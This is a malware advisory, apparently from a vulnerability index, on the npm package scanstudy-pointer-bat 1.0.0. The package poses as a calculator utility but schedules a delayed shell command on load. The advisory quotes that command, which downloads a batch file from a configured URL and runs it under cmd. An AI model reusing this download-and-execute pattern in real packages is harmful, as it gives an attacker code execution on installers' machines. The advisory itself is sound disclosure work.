MAL-2026-20288
Malicious code in scanstudy-pointer-bat (npm)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | MAL-2026-20288 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
The package advertises itself as a calculator UI utility but main.js schedules a child_process.exec via setTimeout on require/start that runs `curl -fsSL ${rendererUrl} -o render.bat && cmd /c start /b render.bat`, downloading a file from a configured URL and executing it as render.bat under cmd. The RENDERER_URL key is absent from the shipped config.json, so the current artifact resolves to an empty URL, but the full download-and-execute machinery is present and reachable on load, giving whoever controls that config key arbitrary code execution on the installer's Windows host. main.js also contains an unused Mandelbrot-style CPU-busy routine (`performRoutine`) and wraps the exec in a random 0–5 second delay — decoy and timing patterns around the shell-out that are inconsistent with the stated library purpose.
Versiones afectadas
1.0.0Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmscanstudy-pointer-bat |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://www.npmjs.com/package/scanstudy-pointer-bat/v/1.0.0Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
